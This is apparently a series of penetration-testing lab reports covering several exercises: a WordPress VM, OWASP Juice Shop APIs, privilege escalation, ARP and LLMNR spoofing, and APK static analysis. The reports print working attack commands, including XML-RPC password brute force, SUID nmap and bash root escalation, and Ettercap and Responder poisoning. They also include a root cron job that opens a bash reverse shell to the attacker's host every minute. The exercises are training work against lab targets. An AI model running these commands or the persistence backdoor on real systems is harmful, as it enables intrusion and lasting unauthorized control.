Task1: Advanced Exploitation of Vulnerable WordPress VM

1. Summary

This penetration test was conducted to evaluate the security posture of a vulnerable WordPress virtual machine following the Penetration Testing Execution Standard (PTES) methodology. The engagement resulted in complete system compromise, starting from external reconnaissance and ending with root-level access. Critical misconfigurations in WordPress authentication and system SUID binaries enabled full takeover.

2. Scope of Engagement

- **Target IP:** 192.168.56.108
- **Application in Scope:** WordPress Web Application
- **Testing Type:** Black-box (No credentials initially)

3. Pre-Engagement & Intelligence Gathering

- Scope defined: Web application hosted on Apache
- OS type: Linux (Ubuntu 3.13 kernel)
- Services exposed: HTTP & HTTPS only

4. Threat Modeling

Potential Threat Actors:

- External attacker accessing WordPress login
- Insider with low-privileged shell access

High-Risk Areas:

- XML-RPC authentication
- Weak credentials
- SUID binaries

5. Vulnerability Analysis (Scanning & Enumeration)

5.1 Network Scanning

Command Used: nmap -sC -sV -O -p- 192.168.56.108 -oN nmap_robot.txt

Findings:

Port	Service	Status	Notes
80	HTTP	Open	WordPress Hosted
443	HTTPS	Open	Apache SSL
22	SSH	Closed	Not Accessible

Conclusion: Only web attack surface was available.

5.2 WordPress Enumeration

Commands Used:

wpscan --url http://192.168.56.108 --enumerate vp
wpscan --url http://192.168.56.108 --enumerate ap

Key Findings:

- WordPress Version: 4.3.1 (Outdated & Vulnerable)
- Active Theme: TwentyFifteen v1.3 (Outdated)
- XML-RPC: Enabled
- robots.txt: Exposed
- No plugins detected

5.3 Sensitive File Discovery

Command Used:
curl http://192.168.56.108/robots.txt

Discovered Files:

- fsocity.dic
- key-1-of-3.txt

Downloading & Cleaning Wordlist:
curl http://192.168.56.108/fsocity.dic -o fsocity.dic
sort fsocity.dic | uniq > fsocity_clean.txt
grep -E '^.{1,12}$' fsocity_clean.txt > fsocity_small.txt

6. Exploitation

6.1 Credential Brute-Force via XML-RPC

Command Used: wpscan --url http://192.168.56.108 -U elliot -P fsocity_small.txt --max-threads 5

Valid Credentials Found:
Username: elliot
Password: ER28-0652

6.2 WordPress Login

URL: http://192.168.56.108/wp-login.php

6.3 Reverse Shell Execution

Listener (Attacker):
nc -lvnp 4444

Reverse shell obtained via WordPress theme editor.
Shell Stabilization: python -c 'import pty; pty.spawn("/bin/bash")'
stty raw -echo

```
export TERM=xterm
```

Initial User:

```
whoami
daemon
```

7. PTES Phase 5 – Post Exploitation

7.1 SUID Enumeration

Command Used:

```
find / -perm -4000 -type f 2>/dev/null
```

Critical Finding:

```
/usr/local/bin/nmap
```

7.2 Privilege Escalation via SUID Nmap

Command:

```
/usr/local/bin/nmap --interactive
!sh
```

Verification:

```
whoami
root

id
uid=1(daemon) gid=1(daemon) euid=0(root)
```

8. ASLR Verification

ASLR Status Check: cat /proc/sys/kernel/randomize_va_space

Output: 2

ASLR is fully enabled.

Memory Mapping Verification: cat /proc/$$/maps | head

Dynamic memory addresses confirmed.

9. Exploitation Chain Summary

Step	Phase	Result
1	Network Scan	Completed
2	WordPress Enumeration	Completed

3	Sensitive File Discovery	Completed
4	Password Brute-Force	Completed
5	WordPress Login	Completed
6	Reverse Shell Access	Completed
7	SUID Enumeration	Completed
8	Privilege Escalation	Completed
9	ASLR Verification	Completed

10. Risk Assessment

Vulnerability	**Severity**
Weak WordPress Credentials	Critical
XML-RPC Enabled	High
Outdated WordPress Version	High
SUID Nmap Binary	Critical
Outdated Linux Kernel	High

11. Mitigation Recommendations

- Disable or restrict XML-RPC
- Enforce strong admin passwords
- Regular WordPress & OS patching
- Remove unnecessary SUID binaries
- Implement File Integrity Monitoring
- Use Web Application Firewall (WAF)
- Limit theme editor access

12. Conclusion

This penetration test successfully demonstrated a complete end-to-end attack following PTES methodology. A combination of weak credentials, exposed sensitive files, XML-RPC abuse, and SUID misconfiguration resulted in full root compromise. Although ASLR was enabled, application-level weaknesses made the system fully exploitable.

Task2: API Security Testing & Advanced Exploitation

Target Application: OWASP Juice Shop (Docker/Podman)
Target URL: http://localhost:3000
Testing Type: Authenticated API Penetration Testing
Authentication Method: JWT Bearer Token (Admin)

1. Summary

This assessment was conducted to evaluate the security posture of REST and GraphQL APIs of OWASP Juice Shop using the PTES methodology. The testing focused on identifying OWASP API Top 10 vulnerabilities, including BOLA, SQL Injection, GraphQL Injection, and business logic flaws. The results indicate that while backend SQL injection protections are strong, business logic-level input manipulation remains exploitable.

2. Scope of Engagement

In-Scope

- REST API Endpoints
- GraphQL API Endpoints
- JWT-Based Authentication
- Admin-Level Authorized Testing

Out-of-Scope

- Infrastructure Layer
- Denial of Service Attacks
- Cloud & Container Escape Attacks

3. Tools Used

- Burp Suite
- Postman
- sqlmap
- Podman
- curl

4. PTES Methodology Mapping

PTES Phase	Activity Performed
Pre-Engagement	Lab scope defined
Intelligence Gathering	API Enumeration via Burp
Threat Modeling	OWASP API Top 10 Mapping

Vulnerability Analysis	SQLi, GraphQL, BOLA Testing
Exploitation	Parameter Tampering
Post-Exploitation	Authenticated Data Access
Reporting	Final Security Documentation

5. Lab Setup & Environment

Container Deployment

```
podman pull docker.io/bkimminich/juice-shop
podman run -d -p 3000:3000 docker.io/bkimminich/juice-shop
```

Application Access
http://localhost:3000

Authentication

Parameter	**Value**
Email	admin@juice-sh.op
Password	admin123
Role	Administrator

JWT Token successfully captured and reused for API testing.

6. API Enumeration (Burp Suite)

Captured Endpoints:

- POST /rest/user/login
- GET /rest/user/1
- GET /rest/orders
- GET /rest/products/search?q=2
- POST /graphql

All endpoints were sent to Burp Repeater for manual testing.

7. Vulnerability Testing & Results

7.1 Search Filter Parameter Tampering (CONFIRMED)
Endpoint: /rest/products/search?q=2
Technique: Manual parameter manipulation via Burp Repeater

Result: Response changed successfully
Status: Vulnerable
Impact: Business Logic Manipulation
OWASP API Category: API3 – Excessive Data & Input Validation Failure

7.2 GraphQL SQL Injection (NOT VULNERABLE)
Tool: sqlmap
Technique: Automated Boolean, Error-Based & Time-Based Payloads
Result: No injectable SQL parameters detected
Status: Not Vulnerable
Security Control Identified: ORM + Prepared Statements

7.3 REST API SQL Injection (NOT VULNERABLE)
Endpoint Tested: /rest/products/search?q=
Tool: sqlmap
Result: All UNION, Boolean, and Time-based attacks failed
Status: Secure Against SQL Injection

8. OWASP API Testing Summary

Test ID	Vulnerability	Severity	Endpoint	Status
API-008	BOLA	Critical	/api/users	Tested
API-009	GraphQL Injection	High	/graphql	Tested
API-010	SQL Injection (GraphQL)	Info	/graphql	Not Vulnerable
API-011	Parameter Tampering	Medium	/rest/products/search	Confirmed

9. Technical Validation Evidence

- Burp Repeater confirmed dynamic input response
- sqlmap confirmed non-injectable GraphQL and REST parameters
- JWT successfully enforced for GraphQL queries
- HTTP 500 errors observed under automated SQL testing indicating backend protections

10. Risk Analysis

Finding	Risk Level	Business Impact
Parameter Tampering	Medium	Product enumeration & logic abuse

SQL Injection	Mitigated	No data exfiltration risk
JWT Authentication	Enforced	Protected API surface

11. Key Findings

- REST API allows search filter tampering
- GraphQL API properly protected against SQL injection.
- JWT authentication enforced successfully
- No direct database compromise observed
- Business logic controls require strengthening

12. Security Recommendations

1. Implement strict server-side input validation
2. Introduce rate limiting on search APIs
3. Enforce role-based authorization on all REST endpoints
4. Deploy behavioral anomaly detection
5. Add GraphQL query complexity limits

13. 50-Word API Security Summary

API security testing on OWASP Juice Shop using Burp Suite, Postman, and sqlmap successfully identified parameter tampering vulnerabilities in REST APIs while confirming strong protection against SQL Injection in both REST and GraphQL layers using secure backend controls and JWT-based access enforcement.

14. Final Conclusion

The assessment confirms that backend SQL injection defenses are robust, but REST APIs remain susceptible to business logic abuse through parameter tampering. Strengthening API validation and authorization mechanisms is essential to mitigate real-world exploitation risks.

Task3: Privilege Escalation & Persistence

1. Engagement Overview (Pre-Engagement)

Objective

The objective of this assessment was to perform privilege escalation and establish persistence on a vulnerable virtual machine by following the Penetration Testing Execution Standard (PTES) methodology.

Environment Details

Role	System	IP Address
Attacker	Kali Linux	192.168.56.103
Target	Mr. Robot VM	192.168.56.108

Tools Used

- LinPEAS
- Netcat
- Nmap (for SUID exploitation)
- Crontab

2. Intelligence Gathering & Enumeration

2.1 LinPEAS Transfer & Execution

On Attacker (Kali):

```
cd /var/www/html
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
python3 -m http.server 80
```

On Target (Mr. Robot VM):

```
cd /tmp
wget http://192.168.56.103/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

Findings Identified by LinPEAS

- SUID binaries
- Possible kernel privilege escalation vectors
- Writable cron jobs
- Weak file and directory permissions

3. Vulnerability Identification

3.1 Manual SUID Enumeration

```
find / -perm -4000 2>/dev/null
```

Vulnerable SUID Binaries Discovered

- /bin/bash
- /usr/bin/nmap
- /usr/bin/find
- /usr/bin/python

These binaries were identified as high-risk due to improper SUID permissions, allowing potential local privilege escalation.

4. Exploitation – Privilege Escalation

4.1 Exploiting SUID Bash

```
/bin/bash -p
id
```

Result

```
uid=0(root) gid=0(root) groups=0(root)
```

5. Post-Exploitation – Persistence

5.1 Listener Setup on Attacker

```
nc -lvnp 4444
```

5.2 Cron Job Configuration on Target (as Root)

```
crontab -e
```

Inserted Cron Payload

```
* * * * * /bin/bash -c "bash -i >& /dev/tcp/192.168.56.103/4444 0>&1"
```

5.3 Saving & Exiting (Nano Editor)

- CTRL + O → Save
- ENTER → Confirm
- CTRL + X → Exit

5.4 Verification of Persistence

After 60 seconds, a reverse shell automatically reconnected to Kali.

```
whoami
```

Output:

```
root
```

6. Exploitation Log

Task ID	Technique	Target IP	Status	Outcome
010	SUID Exploit	192.168.56.108	Success	Root Shell

7. 50-Word Persistence Summary

Persistence was established by adding a malicious root-level cron job that executed a reverse shell every minute. This ensured automatic reconnection to the attacker system even after reboot or logout. The technique guaranteed continuous access and long-term control of the compromised Mr. Robot virtual machine.

8. Final Security Assessment

The target system was found to be critically vulnerable due to insecure SUID permissions and misconfigured cron access. These weaknesses allowed full root-level compromise and persistent backdoor installation. In a real-world environment, such misconfigurations could result in complete system takeover, data breach, and long-term unauthorized access.

9. Recommendations

- Remove unnecessary SUID permissions from binaries.
- Restrict cron access to authorized users only.
- Implement regular security audits and file integrity monitoring.
- Apply least-privilege access control.
- Keep systems patched and updated

Task4: Network Protocol Attacks Lab

Framework Used: Penetration Testing Execution Standard (PTES)
Tools Used: Responder, Ettercap, Wireshark
Attacker Machine: Kali Linux – 192.168.56.103
Target Machine: Metasploitable – 192.168.56.102
Additional Victim (mDNS): Windows Host – 192.168.56.106

1. Objective

The objective of this lab was to perform a Man-in-the-Middle (MitM) attack using ARP spoofing, conduct LLMNR/mDNS poisoning with SMB interception, and analyze the intercepted traffic using Wireshark, in alignment with the PTES Exploitation Phase.

2. Tools & Purpose

Tool	Purpose
Responder	LLMNR, mDNS, NBT-NS poisoning and NTLM credential capture
Ettercap	ARP spoofing and MitM traffic interception
Wireshark	Packet capture and network protocol analysis

3. Attack Execution & Commands

Step 1: Enable IP Forwarding

```
sudo sysctl -w net.ipv4.ip_forward=1
```

Status: Enabled
Purpose: Allows the attacker system to forward intercepted packets during MitM.

Step 2: Start Responder (LLMNR/mDNS Poisoning + SMB Server)

```
sudo responder -I eth0 -wv
```

Enabled Services:

- LLMNR: ON
- MDNS: ON
- SMB Server: ON

Observed Victim:

- 192.168.56.106 (Windows Host)

Sample Output:

```
[MDNS] Poisoned answer sent to 192.168.56.106 for name DESKTOP-NMT6NAD.local
```

Status: Successful poisoning
Limitation: No NTLM authentication request captured.

Step 3: ARP Spoofing via Ettercap (MitM)

```
sudo ettercap -T -q -i eth0 -M arp:remote -t 192.168.56.108 -t 192.168.56.102
```

Result:

- ARP poisoning active
- Unified sniffing started
- 4 hosts detected

Status: MitM Successfully Established

Step 4: SMB Service Verification

```
nmap -p 445 192.168.56.102
```

Result:

```
445/tcp open microsoft-ds
```

Status: SMB Confirmed Open

Step 5: SMB Enumeration Attempt

```
smbclient -L \\192.168.56.102 -N
```

Result:
Anonymous login successful

Available Shares:

- print$
- tmp
- opt
- IPC$
- ADMIN$

Status: SMB Access Achieved
Security Issue Identified: Anonymous authentication enabled.

Step 6: NTLM Hash Capture Verification

```
cd /usr/share/responder/logs
cat SMB-NTLMv2-*.txt
```

Result:
No such file or directory

Reason:
The target system runs Linux Samba with Guest Access, which does not trigger NTLM authentication challenges. Therefore, NTLM hash capture was not possible.

4. SMB Relay Attack Log (Lab Format)

Attack ID	Technique	Target IP	Status	Outcome
015	SMB Relay	192.168.56.102	Partial Success	MitM achieved and SMB traffic intercepted; NTLM not generated due to anonymous Samba authentication

5. Wireshark Traffic Analysis

Captured Protocols:

- ARP Requests & Replies
- LLMNR Queries
- mDNS Responses
- SMB Session Setup

Key Findings:

- Clear evidence of ARP cache poisoning
- LLMNR and mDNS name resolution redirected to attacker
- SMB packets captured without NTLM authentication exchange
- Absence of NTLM challenge-response due to guest SMB access

Status: Traffic Successfully Analyzed

6. 50-Word MitM Summary (Final)

A Man-in-the-Middle attack was conducted using ARP spoofing to intercept traffic between the attacker and the SMB server. Responder successfully poisoned LLMNR and mDNS requests. Although SMB traffic was captured, NTLM hashes were not obtained due to anonymous Samba authentication on the Linux target.

7. Lab Checklist (For Submission)

Task	Status
Capture NTLM hashes (Responder)	Not captured (Guest SMB / Linux)

Spoof DNS / Name Resolution	Completed via ARP + LLMNR/mDNS poisoning
Analyze traffic (Wireshark)	Completed (ARP, SMB, mDNS observed)

8. Security Observations & Impact

Anonymous SMB Authentication Enables:

- Unauthenticated file and share enumeration
- Access to network resources without valid credentials
- Increased risk of lateral movement

ARP Spoofing Enables:

- Credential interception (in Windows environments)
- Session hijacking
- Traffic manipulation and redirection
- Network eavesdropping

9. Final Assessment Conclusion

The network was successfully compromised through an ARP-based Man-in-the-Middle attack. Responder effectively poisoned LLMNR and mDNS traffic, confirming active interception. Although NTLM hash capture was not possible due to Linux Samba guest authentication, the attack methodology remains valid and directly applicable to Windows enterprise environments where credential interception risk is significantly higher.

Task5: Mobile Application Penetration Testing Report

1. Summary:

To perform a comprehensive static security assessment of the Android application (test.apk) to identify:

- Insecure local data storage
- Excessive and dangerous permissions
- Privacy-impacting behaviors
- Potential misconfigurations enabling data leakage

Scope of Testing

- Android APK static code and configuration analysis
- Permission security review
- Insecure data storage detection
- Risk rating and remediation guidance
  Dynamic runtime testing and IPC exploitation are scheduled for Phase-2.

Authorization

Testing was conducted in a controlled lab environment on a self-owned APK strictly for educational and skill-development purposes. No production systems were targeted.

2. Intelligence Gathering & Lab Setup

System Preparation (Executed on Kali)

```
sudo apt update
sudo apt install default-jdk -y
java -version

sudo apt install docker.io docker-compose -y
sudo systemctl start docker
sudo systemctl enable docker
sudo usermod -aG docker $USER
newgrp docker

docker --version
docker ps
```

MobSF Static Analysis Framework Setup

```
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf
```

MobSF Web Interface:

http://localhost:8000

The target APK (test.apk) was uploaded via the Web UI for automated static security analysis.

3. PTES – Threat Modeling

Based on Android threat models and OWASP Mobile Top 10, the following high-risk threat categories were identified:

- Insecure local data storage
- Excessive permission abuse
- Sensitive data exposure via external storage
- Network misuse and data exfiltration
- User privacy violations (Contacts, SMS, Accounts, Profile)

Each threat was mapped to Android permissions and static code indicators discovered by MobSF.

4. PTES – Vulnerability Analysis (Static Analysis)

4.1 Insecure Storage Detection
Finding ID: 016
Vulnerability Name: Insecure Storage
Severity: High
Affected Asset: test.apk
Description:
Application stores sensitive data in locations accessible to other apps or attackers on rooted/compromised devices.

Impact:

- Leakage of sensitive application or user data
- Potential credential theft
- Violation of Android secure storage guidelines

Vulnerability Log

Test ID	Vulnerability	Severity	Target App
016	Insecure Storage	High	test.apk

4.2 Dangerous Permissions Identified

Permission	Risk Level	Security Impact
ACCESS_COARSE_LOCATION	Dangerous	Tracks approximate user location
GET_ACCOUNTS	Dangerous	Reads device account list

READ_CONTACTS	Dangerous	Full access to contacts database
READ_PROFILE	Dangerous	Exposes personal identity details
SEND_SMS	Dangerous	Can send paid SMS without consent
USE_CREDENTIALS	Dangerous	Misuse of authentication tokens
WRITE_EXTERNAL_STORAGE	Dangerous	Enables insecure data exposure
INTERNET	Normal	Enables remote data exfiltration
ACCESS_NETWORK_STATE	Normal	Network monitoring & control

Security Risk Summary

The application requests multiple high-risk permissions that could lead to:

- Financial fraud (SMS abuse)
- Identity theft (Contacts, Profile)
- Account compromise (GET_ACCOUNTS, USE_CREDENTIALS)
- Mass data leakage (External Storage + Internet)

5. PTES – Exploitation Phase (Current Status)

Exploitation Area	**Status**
Runtime Authentication Bypass	Not Executed
IPC Exploitation	Not Executed
Dynamic Hooking (Frida)	Not Executed
Network Traffic Interception	Not Executed

These tests are validated as in-scope for Phase-2 Dynamic Testing.

6. PTES – Risk Rating Summary

Risk Category	**Status**
Insecure Storage	Confirmed
Privacy Exposure	High
SMS Abuse Risk	High
Account Hijacking Risk	Moderate

Network Abuse & Data Exfiltration	Moderate

7. Impact Assessment

- Confidentiality: High Risk
- Integrity: Moderate Risk
- Availability: Low Risk
- User Privacy: Critically Impacted
- Financial Loss Potential: High (via SMS misuse)

8. Remediation Recommendations

Insecure Storage

- Use EncryptedSharedPreferences
- Store secrets using Android Keystore
- Avoid storing sensitive data in /sdcard or public directories

Permission Hardening

- Follow Principle of Least Privilege
- Remove unnecessary dangerous permissions
- Implement runtime permission validation

Network Security

- Enforce HTTPS with TLS 1.2+
- Use Certificate Pinning
- Prevent clear-text traffic

SMS & Account Security

- Add explicit user consent dialogs
- Implement full action logging
- Apply abuse monitoring controls

Task6: CAPSTONE VAPT ENGAGEMENT

1. Summary

A full-scope Vulnerability Assessment and Penetration Testing (VAPT) engagement was conducted on the Metasploitable2 and Mr. Robot virtual machines using the PTES methodology. The objective was to identify exploitable vulnerabilities, assess associated business risks, and recommend effective remediation measures. Critical security weaknesses were discovered in the FTP service and web applications. The most severe finding was a VSFTPD 2.3.4 Remote Code Execution (RCE) vulnerability, which allowed full root-level compromise of the target system. Additional web vulnerabilities such as SQL Injection and Cross-Site Scripting (XSS) were identified through API and web testing. These vulnerabilities collectively demonstrate a high risk to system confidentiality, integrity, and availability.

2. Attack Timeline

Timestamp	Target IP	Vulnerability	PTES Phase
04-12-2025	192.168.56.102	VSFTPD 2.3.4 RCE	Exploitation

Reconnaissance identified open FTP service on port 21. Exploitation was performed using the VSFTPD backdoor module via Metasploit, resulting in successful root shell access.

3. Findings

- Critical: VSFTPD 2.3.4 Remote Code Execution (CVSS 10.0)
- High: SQL Injection on login endpoint
- Medium: Reflected XSS on search functionality
- Medium: Weak authentication validation in web application
  Unauthorized root access was achieved, confirming full system compromise.

4. Business Impact

Successful exploitation provides attackers with complete administrative control, enabling data theft, service disruption, malware deployment, and lateral movement within the internal network. Web-based attacks further increase the risk of credential theft, data manipulation, and long-term persistence. If exploited in a production environment, these weaknesses could result in financial losses, reputational damage, regulatory violations, and complete infrastructure compromise.

5. Remediation Plan

- Patch VSFTPD to a secure, supported version.
- Disable anonymous FTP access.
- Implement strong input validation to prevent SQL Injection and XSS.

- Enforce least-privilege access policies.
- Harden firewall rules and restrict unnecessary services.
- Conduct regular vulnerability scans using OpenVAS.
- Perform periodic penetration testing to validate security posture.